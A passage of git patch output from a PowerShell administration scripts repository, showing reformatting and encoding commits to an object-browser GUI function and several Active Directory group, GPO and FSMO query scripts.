"[Net.Dns]::GetHostByName('schulung12')" Write-Host "[IO.Path]::GetExtension('c:\test.txt')" -Write-Host "[IO.Path]::ChangeExtension('c:\test.txt', 'bak')" +Write-Host "[IO.Path]::ChangeExtension('c:\test.txt', 'bak')" \ No newline at end of file diff --git a/_Profiles/functions/connect-office365.ps1 b/_Profiles/functions/connect-office365.ps1 index eb29a831..5d28c227 100644 --- a/_Profiles/functions/connect-office365.ps1 +++ b/_Profiles/functions/connect-office365.ps1 @@ -92,4 +92,4 @@ function Connect-Office365 { Write-Warning -Message $error[0].exception.message } } -} +} \ No newline at end of file From cb89251e03286611275f7eef004f879d4453c3eb Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 23:27:10 -0800 Subject: [PATCH 251/561] Remove trailing line --- _Profiles/functions/clx.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_Profiles/functions/clx.ps1 b/_Profiles/functions/clx.ps1 index f917b32f..5298ce5b 100644 --- a/_Profiles/functions/clx.ps1 +++ b/_Profiles/functions/clx.ps1 @@ -1,3 +1,3 @@ Function clx { [System.Console]::SetWindowPosition(0, [System.Console]::CursorTop) -} +} \ No newline at end of file From e5a8a7f12d901510cabb350ca7cf9f9b69190b50 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 23:27:26 -0800 Subject: [PATCH 252/561] Update format --- _Profiles/functions/show-object.ps1 | 508 +++++++++++++--------------- 1 file changed, 242 insertions(+), 266 deletions(-) diff --git a/_Profiles/functions/show-object.ps1 b/_Profiles/functions/show-object.ps1 index a4226d0c..1eba2cab 100644 --- a/_Profiles/functions/show-object.ps1 +++ b/_Profiles/functions/show-object.ps1 @@ -1,4 +1,4 @@ -############################################################################# +############################################################################# ## ## Show-Object ## @@ -6,9 +6,8 @@ ## by Lee Holmes (http://www.leeholmes.com/guide) ## ############################################################################## -function show-object -{ -<# +function show-object { + <# .SYNOPSIS @@ -22,291 +21,268 @@ PS > Show-Object $ps #> -param( - ## The object to examine - [Parameter(ValueFromPipeline = $true)] - $InputObject -) - -Set-StrictMode -Version 3 - -Add-Type -Assembly System.Windows.Forms - -## Figure out the variable name to use when displaying the -## object navigation syntax. To do this, we look through all -## of the variables for the one with the same object identifier. -$rootVariableName = Get-ChildItem variable:\* -Exclude InputObject,Args | - Where-Object { - $_.Value -and - ($_.Value.GetType() -eq $InputObject.GetType()) -and - ($_.Value.GetHashCode() -eq $InputObject.GetHashCode()) -} - -## If we got multiple, pick the first -$rootVariableName = $rootVariableName| ForEach-Object Name | Select-Object -First 1 - -## If we didn't find one, use a default name -if(-not $rootVariableName) -{ - $rootVariableName = "InputObject" -} - -## A function to add an object to the display tree -function PopulateNode($node, $object) -{ - ## If we've been asked to add a NULL object, just return - if(-not $object) { return } - - ## If the object is a collection, then we need to add multiple - ## children to the node - if([System.Management.Automation.LanguagePrimitives]::GetEnumerator($object)) - { - ## Some very rare collections don't support indexing (i.e.: $foo[0]). - ## In this situation, PowerShell returns the parent object back when you - ## try to access the [0] property. - $isOnlyEnumerable = $object.GetHashCode() -eq $object[0].GetHashCode() - - ## Go through all the items - $count = 0 - foreach($childObjectValue in $object) - { - ## Create the new node to add, with the node text of the item and - ## value, along with its type - $newChildNode = New-Object Windows.Forms.TreeNode - $newChildNode.Text = "$($node.Name)[$count] = $childObjectValue : " + + param( + ## The object to examine + [Parameter(ValueFromPipeline = $true)] + $InputObject + ) + + Set-StrictMode -Version 3 + + Add-Type -Assembly System.Windows.Forms + + ## Figure out the variable name to use when displaying the + ## object navigation syntax. To do this, we look through all + ## of the variables for the one with the same object identifier. + $rootVariableName = Get-ChildItem variable:\* -Exclude InputObject, Args | + Where-Object { + $_.Value -and + ($_.Value.GetType() -eq $InputObject.GetType()) -and + ($_.Value.GetHashCode() -eq $InputObject.GetHashCode()) + } + + ## If we got multiple, pick the first + $rootVariableName = $rootVariableName | ForEach-Object Name | Select-Object -First 1 + + ## If we didn't find one, use a default name + if (-not $rootVariableName) { + $rootVariableName = "InputObject" + } + + ## A function to add an object to the display tree + function PopulateNode($node, $object) { + ## If we've been asked to add a NULL object, just return + if (-not $object) { return } + + ## If the object is a collection, then we need to add multiple + ## children to the node + if ([System.Management.Automation.LanguagePrimitives]::GetEnumerator($object)) { + ## Some very rare collections don't support indexing (i.e.: $foo[0]). + ## In this situation, PowerShell returns the parent object back when you + ## try to access the [0] property. + $isOnlyEnumerable = $object.GetHashCode() -eq $object[0].GetHashCode() + + ## Go through all the items + $count = 0 + foreach ($childObjectValue in $object) { + ## Create the new node to add, with the node text of the item and + ## value, along with its type + $newChildNode = New-Object Windows.Forms.TreeNode + $newChildNode.Text = "$($node.Name)[$count] = $childObjectValue : " + $childObjectValue.GetType() - ## Use the node name to keep track of the actual property name - ## and syntax to access that property. - ## If we can't use the index operator to access children, add - ## a special tag that we'll handle specially when displaying - ## the node names. - if($isOnlyEnumerable) - { - $newChildNode.Name = "@" - } + ## Use the node name to keep track of the actual property name + ## and syntax to access that property. + ## If we can't use the index operator to access children, add + ## a special tag that we'll handle specially when displaying + ## the node names. + if ($isOnlyEnumerable) { + $newChildNode.Name = "@" + } - $newChildNode.Name += "[$count]" - $null = $node.Nodes.Add($newChildNode) + $newChildNode.Name += "[$count]" + $null = $node.Nodes.Add($newChildNode) - ## If this node has children or properties, add a placeholder - ## node underneath so that the node shows a '+' sign to be - ## expanded. - AddPlaceholderIfRequired $newChildNode $childObjectValue + ## If this node has children or properties, add a placeholder + ## node underneath so that the node shows a '+' sign to be + ## expanded. + AddPlaceholderIfRequired $newChildNode $childObjectValue - $count++ + $count++ + } } - } - else - { - ## If the item was not a collection, then go through its - ## properties - foreach($child in $object.PSObject.Properties) - { - ## Figure out the value of the property, along with - ## its type. - $childObject = $child.Value - $childObjectType = $null - if($childObject) - { - $childObjectType = $childObject.GetType() + else { + ## If the item was not a collection, then go through its + ## properties + foreach ($child in $object.PSObject.Properties) { + ## Figure out the value of the property, along with + ## its type. + $childObject = $child.Value + $childObjectType = $null + if ($childObject) { + $childObjectType = $childObject.GetType() + } + + ## Create the new node to add, with the node text of the item and + ## value, along with its type + $childNode = New-Object Windows.Forms.TreeNode + $childNode.Text = $child.Name + " = $childObject : $childObjectType" + $childNode.Name = $child.Name + $null = $node.Nodes.Add($childNode) + + ## If this node has children or properties, add a placeholder + ## node underneath so that the node shows a '+' sign to be + ## expanded. + AddPlaceholderIfRequired $childNode $childObject } - - ## Create the new node to add, with the node text of the item and - ## value, along with its type - $childNode = New-Object Windows.Forms.TreeNode - $childNode.Text = $child.Name + " = $childObject : $childObjectType" - $childNode.Name = $child.Name - $null = $node.Nodes.Add($childNode) - - ## If this node has children or properties, add a placeholder - ## node underneath so that the node shows a '+' sign to be - ## expanded. - AddPlaceholderIfRequired $childNode $childObject } } -} - -## A function to add a placeholder if required to a node. -## If there are any properties or children for this object, make a temporary -## node with the text "..." so that the node shows a '+' sign to be -## expanded. -function AddPlaceholderIfRequired($node, $object) -{ - if(-not $object) { return } - - if([System.Management.Automation.LanguagePrimitives]::GetEnumerator($object) -or - @($object.PSObject.Properties)) - { - $null = $node.Nodes.Add( (New-Object Windows.Forms.TreeNode "...") ) - } -} - -## A function invoked when a node is selected. -function OnAfterSelect -{ - param($Sender, $TreeViewEventArgs) - - ## Determine the selected node - $nodeSelected = $Sender.SelectedNode - - ## Walk through its parents, creating the virtual - ## PowerShell syntax to access this property. - $nodePath = GetPathForNode $nodeSelected - - ## Now, invoke that PowerShell syntax to retrieve - ## the value of the property. - $resultObject = Invoke-Expression $nodePath - $outputPane.Text = $nodePath - - ## If we got some output, put the object's member - ## information in the text box. - if($resultObject) - { - $members = Get-Member -InputObject $resultObject | Out-String - $outputPane.Text += "`n" + $members - } -} - -## A function invoked when the user is about to expand a node -function OnBeforeExpand -{ - param($Sender, $TreeViewCancelEventArgs) - - ## Determine the selected node - $selectedNode = $TreeViewCancelEventArgs.Node - - ## If it has a child node that is the placeholder, clear - ## the placeholder node. - if($selectedNode.FirstNode -and - ($selectedNode.FirstNode.Text -eq "...")) - { - $selectedNode.Nodes.Clear() - } - else - { - return - } - ## Walk through its parents, creating the virtual - ## PowerShell syntax to access this property. - $nodePath = GetPathForNode $selectedNode + ## A function to add a placeholder if required to a node. + ## If there are any properties or children for this object, make a temporary + ## node with the text "..." so that the node shows a '+' sign to be + ## expanded. + function AddPlaceholderIfRequired($node, $object) { + if (-not $object) { return } - ## Now, invoke that PowerShell syntax to retrieve - ## the value of the property. - Invoke-Expression "`$resultObject = $nodePath" + if ([System.Management.Automation.LanguagePrimitives]::GetEnumerator($object) -or + @($object.PSObject.Properties)) { + $null = $node.Nodes.Add( (New-Object Windows.Forms.TreeNode "...") ) + } + } - ## And populate the node with the result object. - PopulateNode $selectedNode $resultObject -} + ## A function invoked when a node is selected. + function OnAfterSelect { + param($Sender, $TreeViewEventArgs) -## A function to handle keypresses on the form. -## In this case, we capture ^C to copy the path of -## the object property that we're currently viewing. -function OnKeyPress -{ - param($Sender, $KeyPressEventArgs) + ## Determine the selected node + $nodeSelected = $Sender.SelectedNode - ## [Char] 3 = Control-C - if($KeyPressEventArgs.KeyChar -eq 3) - { - $KeyPressEventArgs.Handled = $true + ## Walk through its parents, creating the virtual + ## PowerShell syntax to access this property. + $nodePath = GetPathForNode $nodeSelected - ## Get the object path, and set it on the clipboard - $node = $Sender.SelectedNode - $nodePath = GetPathForNode $node - [System.Windows.Forms.Clipboard]::SetText($nodePath) + ## Now, invoke that PowerShell syntax to retrieve + ## the value of the property. + $resultObject = Invoke-Expression $nodePath + $outputPane.Text = $nodePath - $form.Close() + ## If we got some output, put the object's member + ## information in the text box. + if ($resultObject) { + $members = Get-Member -InputObject $resultObject | Out-String + $outputPane.Text += "`n" + $members + } } -} - -## A function to walk through the parents of a node, -## creating virtual PowerShell syntax to access this property. -function GetPathForNode -{ - param($Node) - - $nodeElements = @() - - ## Go through all the parents, adding them so that - ## $nodeElements is in order. - while($Node) - { - $nodeElements = ,$Node + $nodeElements - $Node = $Node.Parent + + ## A function invoked when the user is about to expand a node + function OnBeforeExpand { + param($Sender, $TreeViewCancelEventArgs) + + ## Determine the selected node + $selectedNode = $TreeViewCancelEventArgs.Node + + ## If it has a child node that is the placeholder, clear + ## the placeholder node. + if ($selectedNode.FirstNode -and + ($selectedNode.FirstNode.Text -eq "...")) { + $selectedNode.Nodes.Clear() + } + else { + return + } + + ## Walk through its parents, creating the virtual + ## PowerShell syntax to access this property. + $nodePath = GetPathForNode $selectedNode + + ## Now, invoke that PowerShell syntax to retrieve + ## the value of the property. + Invoke-Expression "`$resultObject = $nodePath" + + ## And populate the node with the result object. + PopulateNode $selectedNode $resultObject } - ## Now go through the node elements - $nodePath = "" - foreach($Node in $nodeElements) - { - $nodeName = $Node.Name - - ## If it was a node that PowerShell is able to enumerate - ## (but not index), wrap it in the array cast operator. - if($nodeName.StartsWith('@')) - { - $nodeName = $nodeName.Substring(1) - $nodePath = "@(" + $nodePath + ")" + ## A function to handle keypresses on the form. + ## In this case, we capture ^C to copy the path of + ## the object property that we're currently viewing. + function OnKeyPress { + param($Sender, $KeyPressEventArgs) + + ## [Char] 3 = Control-C + if ($KeyPressEventArgs.KeyChar -eq 3) { + $KeyPressEventArgs.Handled = $true + + ## Get the object path, and set it on the clipboard + $node = $Sender.SelectedNode + $nodePath = GetPathForNode $node + [System.Windows.Forms.Clipboard]::SetText($nodePath) + + $form.Close() } - elseif($nodeName.StartsWith('[')) - { - ## If it's a child index, we don't need to - ## add the dot for property access + } + + ## A function to walk through the parents of a node, + ## creating virtual PowerShell syntax to access this property. + function GetPathForNode { + param($Node) + + $nodeElements = @() + + ## Go through all the parents, adding them so that + ## $nodeElements is in order. + while ($Node) { + $nodeElements = , $Node + $nodeElements + $Node = $Node.Parent } - elseif($nodePath) - { - ## Otherwise, we're accessing a property. Add a dot. - $nodePath += "." + + ## Now go through the node elements + $nodePath = "" + foreach ($Node in $nodeElements) { + $nodeName = $Node.Name + + ## If it was a node that PowerShell is able to enumerate + ## (but not index), wrap it in the array cast operator. + if ($nodeName.StartsWith('@')) { + $nodeName = $nodeName.Substring(1) + $nodePath = "@(" + $nodePath + ")" + } + elseif ($nodeName.StartsWith('[')) { + ## If it's a child index, we don't need to + ## add the dot for property access + } + elseif ($nodePath) { + ## Otherwise, we're accessing a property. Add a dot. + $nodePath += "." + } + + ## Append the node name to the path + $nodePath += $nodeName } - ## Append the node name to the path - $nodePath += $nodeName + ## And return the result + $nodePath } - ## And return the result - $nodePath -} - -## Create the TreeView, which will hold our object navigation -## area. -$treeView = New-Object Windows.Forms.TreeView -$treeView.Dock = "Top" -$treeView.Height = 500 -$treeView.PathSeparator = "." -$treeView.Add_AfterSelect( { OnAfterSelect @args } ) -$treeView.Add_BeforeExpand( { OnBeforeExpand @args } ) -$treeView.Add_KeyPress( { OnKeyPress @args } ) - -## Create the output pane, which will hold our object -## member information. -$outputPane = New-Object System.Windows.Forms.TextBox -$outputPane.Multiline = $true -$outputPane.ScrollBars = "Vertical" -$outputPane.Font = "Consolas" -$outputPane.Dock = "Top" -$outputPane.Height = 300 - -## Create the root node, which represents the object -## we are trying to show. -$root = New-Object Windows.Forms.TreeNode -$root.Text = "$InputObject : " + $InputObject.GetType() -$root.Name = '$' + $rootVariableName -$root.Expand() -$null = $treeView.Nodes.Add($root) - -## And populate the initial information into the tree -## view. -PopulateNode $root $InputObject - -## Finally, create the main form and show it. -$form = New-Object Windows.Forms.Form -$form.Text = "Browsing " + $root.Text -$form.Width = 1000 -$form.Height = 800 -$form.Controls.Add($outputPane) -$form.Controls.Add($treeView) -$null = $form.ShowDialog() -$form.Dispose() + ## Create the TreeView, which will hold our object navigation + ## area. + $treeView = New-Object Windows.Forms.TreeView + $treeView.Dock = "Top" + $treeView.Height = 500 + $treeView.PathSeparator = "." + $treeView.Add_AfterSelect( { OnAfterSelect @args } ) + $treeView.Add_BeforeExpand( { OnBeforeExpand @args } ) + $treeView.Add_KeyPress( { OnKeyPress @args } ) + + ## Create the output pane, which will hold our object + ## member information. + $outputPane = New-Object System.Windows.Forms.TextBox + $outputPane.Multiline = $true + $outputPane.ScrollBars = "Vertical" + $outputPane.Font = "Consolas" + $outputPane.Dock = "Top" + $outputPane.Height = 300 + + ## Create the root node, which represents the object + ## we are trying to show. + $root = New-Object Windows.Forms.TreeNode + $root.Text = "$InputObject : " + $InputObject.GetType() + $root.Name = '$' + $rootVariableName + $root.Expand() + $null = $treeView.Nodes.Add($root) + + ## And populate the initial information into the tree + ## view. + PopulateNode $root $InputObject + + ## Finally, create the main form and show it. + $form = New-Object Windows.Forms.Form + $form.Text = "Browsing " + $root.Text + $form.Width = 1000 + $form.Height = 800 + $form.Controls.Add($outputPane) + $form.Controls.Add($treeView) + $null = $form.ShowDialog() + $form.Dispose() } \ No newline at end of file From c7b346dfe1bcf02877e3370b504c2f482c6ae306 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 23:29:16 -0800 Subject: [PATCH 253/561] Update encoding --- AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 b/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 index c1100166..78e14f9f 100644 --- a/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 +++ b/AD-FSMO-Get-ADFSMORole/AD-FSMO-Get-ADFSMORole.ps1 @@ -1,5 +1,5 @@ -function Get-ADFSMORole { -<# +function Get-ADFSMORole { + <# .SYNOPSIS Retrieve the FSMO Role in the Forest/Domain. .DESCRIPTION From e9bce6b15c839cfcf79559f07ec71103673ae377 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 23:29:26 -0800 Subject: [PATCH 254/561] Update encoding --- .../AD-GPO-Get-ADGPOReplication.ps1 | 56 ++++++++----------- 1 file changed, 22 insertions(+), 34 deletions(-) diff --git a/AD-GPO-Get-ADGPOReplication/AD-GPO-Get-ADGPOReplication.ps1 b/AD-GPO-Get-ADGPOReplication/AD-GPO-Get-ADGPOReplication.ps1 index e90ca30c..939386c2 100644 --- a/AD-GPO-Get-ADGPOReplication/AD-GPO-Get-ADGPOReplication.ps1 +++ b/AD-GPO-Get-ADGPOReplication/AD-GPO-Get-ADGPOReplication.ps1 @@ -1,5 +1,4 @@ -function Get-ADGPOReplication -{ +function Get-ADGPOReplication { <# .SYNOPSIS This function retrieve one or all the GPO and report their DSVersions and SysVolVersions (Users and Computers) @@ -32,62 +31,51 @@ [parameter(Mandatory = $True, ParameterSetName = "All")] [Switch]$All ) - BEGIN - { - TRY - { + BEGIN { + TRY { if (-not (Get-Module -Name ActiveDirectory)) { Import-Module -Name ActiveDirectory -ErrorAction Stop -ErrorVariable ErrorBeginIpmoAD } if (-not (Get-Module -Name GroupPolicy)) { Import-Module -Name GroupPolicy -ErrorAction Stop -ErrorVariable ErrorBeginIpmoGP } } - CATCH - { + CATCH { Write-Warning -Message "[BEGIN] Something wrong happened" IF ($ErrorBeginIpmoAD) { Write-Warning -Message "[BEGIN] Error while Importing the module Active Directory" } IF ($ErrorBeginIpmoGP) { Write-Warning -Message "[BEGIN] Error while Importing the module Group Policy" } $PSCmdlet.ThrowTerminatingError($_) } } - PROCESS - { - FOREACH ($DomainController in ((Get-ADDomainController -ErrorAction Stop -ErrorVariable ErrorProcessGetDC -filter *).hostname)) - { - TRY - { - IF ($psBoundParameters['GPOName']) - { - Foreach ($GPOItem in $GPOName) - { + PROCESS { + FOREACH ($DomainController in ((Get-ADDomainController -ErrorAction Stop -ErrorVariable ErrorProcessGetDC -filter *).hostname)) { + TRY { + IF ($psBoundParameters['GPOName']) { + Foreach ($GPOItem in $GPOName) { $GPO = Get-GPO -Name $GPOItem -Server $DomainController -ErrorAction Stop -ErrorVariable ErrorProcessGetGPO [pscustomobject][ordered] @{ - GroupPolicyName = $GPOItem - DomainController = $DomainController - UserVersion = $GPO.User.DSVersion - UserSysVolVersion = $GPO.User.SysvolVersion - ComputerVersion = $GPO.Computer.DSVersion + GroupPolicyName = $GPOItem + DomainController = $DomainController + UserVersion = $GPO.User.DSVersion + UserSysVolVersion = $GPO.User.SysvolVersion + ComputerVersion = $GPO.Computer.DSVersion ComputerSysVolVersion = $GPO.Computer.SysvolVersion }#PSObject }#Foreach ($GPOItem in $GPOName) }#IF ($psBoundParameters['GPOName']) - IF ($psBoundParameters['All']) - { + IF ($psBoundParameters['All']) { $GPOList = Get-GPO -All -Server $DomainController -ErrorAction Stop -ErrorVariable ErrorProcessGetGPOAll - foreach ($GPO in $GPOList) - { + foreach ($GPO in $GPOList) { [pscustomobject][ordered] @{ - GroupPolicyName = $GPO.DisplayName - DomainController = $DomainController - UserVersion = $GPO.User.DSVersion - UserSysVolVersion = $GPO.User.SysvolVersion - ComputerVersion = $GPO.Computer.DSVersion + GroupPolicyName = $GPO.DisplayName + DomainController = $DomainController + UserVersion = $GPO.User.DSVersion + UserSysVolVersion = $GPO.User.SysvolVersion + ComputerVersion = $GPO.Computer.DSVersion ComputerSysVolVersion = $GPO.Computer.SysvolVersion }#PSObject } }#IF ($psBoundParameters['All']) }#TRY - CATCH - { + CATCH { Write-Warning -Message "[PROCESS] Something wrong happened" IF ($ErrorProcessGetDC) { Write-Warning -Message "[PROCESS] Error while running retrieving Domain Controllers with Get-ADDomainController" } IF ($ErrorProcessGetGPO) { Write-Warning -Message "[PROCESS] Error while running Get-GPO" } From 7a12007930faeee12863732ba02e4e6d0ffdea93 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 23:29:54 -0800 Subject: [PATCH 255/561] Update format --- .../AD-GROUP-Get-NestedMember.ps1 | 42 ++++++++----------- 1 file changed, 18 insertions(+), 24 deletions(-) diff --git a/AD-GROUP-Get-NestedMember/AD-GROUP-Get-NestedMember.ps1 b/AD-GROUP-Get-NestedMember/AD-GROUP-Get-NestedMember.ps1 index 98816b3f..01cd37b1 100644 --- a/AD-GROUP-Get-NestedMember/AD-GROUP-Get-NestedMember.ps1 +++ b/AD-GROUP-Get-NestedMember/AD-GROUP-Get-NestedMember.ps1 @@ -1,6 +1,5 @@ -function Get-NestedMember -{ -<# +function Get-NestedMember { + <# .SYNOPSIS Find all Nested members of a group .DESCRIPTION @@ -27,31 +26,28 @@ #> [CmdletBinding()] PARAM( - [String[]]$GroupName, - [String]$RelationShipPath, - [Int]$MaxDepth + [String[]]$GroupName, + [String]$RelationShipPath, + [Int]$MaxDepth ) - TRY{ + TRY { $FunctionName = (Get-Variable -Name MyInvocation -Scope 0 -ValueOnly).MyCommand Write-Verbose -Message "[$FunctionName] Check if ActiveDirectory Module is available" - if(-not(Get-Module Activedirectory -ErrorAction Stop)) - { + if (-not(Get-Module Activedirectory -ErrorAction Stop)) { Write-Verbose -Message "[$FunctionName] Loading ActiveDirectory Module" Import-Module ActiveDirectory -ErrorAction Stop } # Set Depth Counter $DepthCount = 1 - FOREACH ($Group in $GroupName) - { + FOREACH ($Group in $GroupName) { Write-Verbose -Message "[$FunctionName] Group '$Group'" # Get the Group Information $GroupObject = Get-ADGroup -Identity $Group -ErrorAction Stop - IF($GroupObject) - { + IF ($GroupObject) { Write-Verbose -Message "[$FunctionName] Group '$Group' - Retrieving members" # Get the Members of the group @@ -62,33 +58,31 @@ # Avoid circular - IF($RelationShipPath -notlike ".\ $($GroupObject.samaccountname) \*") - { - if($PSBoundParameters["RelationShipPath"]) { + IF ($RelationShipPath -notlike ".\ $($GroupObject.samaccountname) \*") { + if ($PSBoundParameters["RelationShipPath"]) { $RelationShipPath = "$RelationShipPath \ $($GroupObject.samaccountname)" } - Else{$RelationShipPath = ".\ $($GroupObject.samaccountname)"} + Else { $RelationShipPath = ".\ $($GroupObject.samaccountname)" } Write-Verbose -Message "[$FunctionName] Group '$Group' - Name:$($_.name) | ObjectClass:$($_.ObjectClass)" $CurrentObject = $_ - switch ($_.ObjectClass) - { + switch ($_.ObjectClass) { "group" { # Output Object - $CurrentObject | Select-Object Name,SamAccountName,ObjectClass,DistinguishedName,@{Label="ParentGroup";Expression={$ParentGroup}}, @{Label="RelationShipPath";Expression={$RelationShipPath}} + $CurrentObject | Select-Object Name, SamAccountName, ObjectClass, DistinguishedName, @{Label = "ParentGroup"; Expression = { $ParentGroup } }, @{Label = "RelationShipPath"; Expression = { $RelationShipPath } } - if (-not($DepthCount -lt $MaxDepth)){ + if (-not($DepthCount -lt $MaxDepth)) { # Find Child Get-NestedMember -GroupName $CurrentObject.Name -RelationShipPath $RelationShipPath $DepthCount++ } }#Group - default { $CurrentObject | Select-Object Name,SamAccountName,ObjectClass,DistinguishedName, @{Label="ParentGroup";Expression={$ParentGroup}},@{Label="RelationShipPath";Expression={$RelationShipPath}}} + default { $CurrentObject | Select-Object Name, SamAccountName, ObjectClass, DistinguishedName, @{Label = "ParentGroup"; Expression = { $ParentGroup } }, @{Label = "RelationShipPath"; Expression = { $RelationShipPath } } } }#Switch }#IF($RelationShipPath -notmatch $($GroupObject.samaccountname)) - ELSE {Write-Warning -Message "[$FunctionName] Circular group membership detected with $($GroupObject.samaccountname)"} + ELSE { Write-Warning -Message "[$FunctionName] Circular group membership detected with $($GroupObject.samaccountname)" } }#ForeachObject }#IF($GroupObject) ELSE { @@ -96,7 +90,7 @@ }#ELSE }#FOREACH ($Group in $GroupName) }#TRY - CATCH{ + CATCH { $PSCmdlet.ThrowTerminatingError($_) } } \ No newline at end of file From c76ae7b5cc84c8f2d86e7ffd38e6227b4cc47a35 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 23:30:01 -0800 Subject: [PATCH 256/561] Update format --- .../AD-GROUP-Get-ParentGroup.ps1 | 42 ++++++++----------- 1 file changed, 17 insertions(+), 25 deletions(-) diff --git a/AD-GROUP-Get-ParentGroup/AD-GROUP-Get-ParentGroup.ps1 b/AD-GROUP-Get-ParentGroup/AD-GROUP-Get-ParentGroup.ps1 index 4deb8034..af7bca8f 100644 --- a/AD-GROUP-Get-ParentGroup/AD-GROUP-Get-ParentGroup.ps1 +++ b/AD-GROUP-Get-ParentGroup/AD-GROUP-Get-ParentGroup.ps1 @@ -1,6 +1,5 @@ -function Get-ParentGroup -{ -<# +function Get-ParentGroup { + <# .SYNOPSIS Find all Nested members of a group .DESCRIPTION @@ -26,40 +25,34 @@ [Parameter(Mandatory = $true)] [String[]]$Name ) - BEGIN - { - TRY{ - if(-not(Get-Module Activedirectory -ErrorAction Stop)){ + BEGIN { + TRY { + if (-not(Get-Module Activedirectory -ErrorAction Stop)) { Write-Verbose -Message "[BEGIN] Loading ActiveDirectory Module" - Import-Module ActiveDirectory -ErrorAction Stop} + Import-Module ActiveDirectory -ErrorAction Stop + } } - CATCH - { + CATCH { $PSCmdlet.ThrowTerminatingError($_) } } - PROCESS - { - TRY - { - FOREACH ($Obj in $Name) - { + PROCESS { + TRY { + FOREACH ($Obj in $Name) { # Make an Ambiguous Name Resolution $ADObject = Get-ADObject -LDAPFilter "(|(anr=$obj)(distinguishedname=$obj))" -Properties memberof -ErrorAction Stop - IF($ADObject) - { + IF ($ADObject) { # Show a warning if more than 1 object is found - if ($ADObject.count -gt 1){Write-Warning -Message "More than one object found with the $obj request"} + if ($ADObject.count -gt 1) { Write-Warning -Message "More than one object found with the $obj request" } - FOREACH ($Account in $ADObject) - { + FOREACH ($Account in $ADObject) { Write-Verbose -Message "[PROCESS] $($Account.name)" $Account | Select-Object -ExpandProperty memberof | ForEach-Object -Process { $CurrentObject = Get-Adobject -LDAPFilter "(|(anr=$_)(distinguishedname=$_))" -Properties Samaccountname - Write-Output $CurrentObject | Select-Object Name,SamAccountName,ObjectClass, @{L="Child";E={$Account.samaccountname}} + Write-Output $CurrentObject | Select-Object Name, SamAccountName, ObjectClass, @{L = "Child"; E = { $Account.samaccountname } } Write-Verbose -Message "Inception - $($CurrentObject.distinguishedname)" Get-ParentGroup -OutBuffer $CurrentObject.distinguishedname @@ -72,12 +65,11 @@ }#ELSE }#FOREACH ($Obj in $Object) }#TRY - CATCH{ + CATCH { $PSCmdlet.ThrowTerminatingError($_) } }#PROCESS - END - { + END { Write-Verbose -Message "[END] Get-NestedMember" } } \ No newline at end of file From 4ed0ed2196d9b3c679119dc017500b1415c94078 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Fri, 29 Nov 2019 23:30:25 -0800 Subject: [PATCH 257/561] Update format --- .../AD-GROUP-Monitor_MemberShip.ps1 | 36 ++++++++++--------- 1 file changed, 19 insertions(+), 17 deletions(-) diff --git a/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 b/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 index 34b6a72a..f057c6fc 100644 --- a/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 +++ b/AD-GROUP-Monitor_MemberShip/AD-GROUP-Monitor_MemberShip.ps1 @@ -286,7 +286,8 @@ BEGIN { $ReportDateFormat = Get-Date -Format "yyyy\MM\dd HH:mm:ss" # Active Directory Module - IF (Get-Module -Name ActiveDirectory -ListAvailable) { #verify ad module is installed + IF (Get-Module -Name ActiveDirectory -ListAvailable) { + #verify ad module is installed Write-Verbose -Message "[BEGIN] Active Directory Module" # Verify Ad module is loaded IF (-not (Get-Module -Name ActiveDirectory -ErrorAction SilentlyContinue -ErrorVariable ErrorBEGINGetADModule)) { @@ -300,7 +301,8 @@ BEGIN { $global:ADModule = $true } } - ELSE { # Else we try to load Quest Ad Cmdlets + ELSE { + # Else we try to load Quest Ad Cmdlets Write-Verbose -Message "[BEGIN] Quest AD Snapin" # Verify Quest Active Directory Snapin is loaded IF (-not (Get-PSSnapin -Name Quest.ActiveRoles.ADManagement -ErrorAction Stop -ErrorVariable ErrorBEGINGetQuestAD)) { @@ -559,7 +561,7 @@ PROCESS { IF (!(Test-Path -Path (Join-Path -Path $ScriptPathOutput -ChildPath $StateFile))) { Write-Verbose -Message "[PROCESS] $item - The following file did not exist: $StateFile" Write-Verbose -Message "[PROCESS] $item - Exporting the current membership information into the file: $StateFile" - $Members | Export-csv -Path (Join-Path -Path $ScriptPathOutput -ChildPath $StateFile) -NoTypeInformation + $Members | Export-Csv -Path (Join-Path -Path $ScriptPathOutput -ChildPath $StateFile) -NoTypeInformation } ELSE { Write-Verbose -Message "[PROCESS] $item - The following file Exists: $StateFile" @@ -570,12 +572,12 @@ PROCESS { Write-Verbose -Message "[PROCESS] $item - Comparing Current and Before" $ImportCSV = Import-Csv -Path (Join-Path -path $ScriptPathOutput -childpath $StateFile) -ErrorAction Stop -ErrorVariable ErrorProcessImportCSV $Changes = Compare-Object -DifferenceObject $ImportCSV -ReferenceObject $Members -ErrorAction stop -ErrorVariable ErrorProcessCompareObject -Property Name, SamAccountName, DN | - Select-Object @{ Name = "DateTime"; Expression = { Get-Date -Format "yyyyMMdd-hh:mm:ss" } }, @{ - n = 'State'; e = { - IF ($_.SideIndicator -eq "=>") { "Removed" } - ELSE { "Added" } - } - }, DisplayName, Name, SamAccountName, DN | Where-Object { $_.name -notlike "*no user or group*" } + Select-Object @{ Name = "DateTime"; Expression = { Get-Date -Format "yyyyMMdd-hh:mm:ss" } }, @{ + n = 'State'; e = { + IF ($_.SideIndicator -eq "=>") { "Removed" } + ELSE { "Added" } + } + }, DisplayName, Name, SamAccountName, DN | 